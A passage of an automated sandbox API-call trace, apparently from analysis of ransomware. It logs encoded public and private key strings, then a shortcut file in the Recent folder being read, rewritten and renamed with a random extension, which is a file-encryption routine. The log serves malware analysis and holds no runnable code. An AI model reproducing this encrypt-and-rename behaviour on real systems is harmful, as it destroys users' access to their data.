KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0083.815] GetCurrentThreadId () returned 0xa30 [0083.815] GetCurrentThreadId () returned 0xa30 [0083.815] GetCurrentThreadId () returned 0xa30 [0083.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.816] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.816] GetCurrentThreadId () returned 0xa30 [0083.816] GetCurrentThreadId () returned 0xa30 [0083.816] GetCurrentThreadId () returned 0xa30 [0083.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u_lt1cvy3vs87u4lbn7z.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.816] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.816] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.817] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x275 [0083.817] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.817] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x275, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x275, lpOverlapped=0x0) returned 1 [0083.818] CloseHandle (hObject=0x124) returned 1 [0083.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u_lt1cvy3vs87u4lbn7z.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.820] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x275, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x275, lpOverlapped=0x0) returned 1 [0083.822] CloseHandle (hObject=0x124) returned 1 [0083.825] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u_lt1cvy3vs87u4lbn7z.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\u_LT1cVy3Vs87U4LbN7z.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\u_lt1cvy3vs87u4lbn7z.lnk.zv7un")) returned 1 [0083.827] GetCurrentThreadId () returned 0xa30 [0083.827] GetCurrentThreadId () returned 0xa30 [0083.827] GetCurrentThreadId () returned 0xa30 [0083.827] GetCurrentThreadId () returned 0xa30 [0083.827] GetCurrentThreadId () returned 0xa30 [0083.827] GetCurrentThreadId () returned 0xa30 [0083.827] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21dade0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21dade0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe21dade0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="VafNA2H199yI1tndZ.flv.lnk", cAlternateFileName="VAFNA2~1.LNK")) returned 1 [0083.827] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.827] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.827] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vafna2h199yi1tndz.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe21dade0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe21dade0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe21dade0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x266)) returned 1 [0083.827] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vafna2h199yi1tndz.flv.lnk")) returned 0x20 [0083.827] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VafNA2H199yI1tndZ.flv.lnk", dwFileAttributes=0x80) returned 1 [0083.829] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.831] GetCurrentThreadId () returned 0xa30 [0083.831] GetCurrentThreadId () returned 0xa30 [0083.831] GetCurrentThreadId () returned 0xa30 [0083.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.831] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 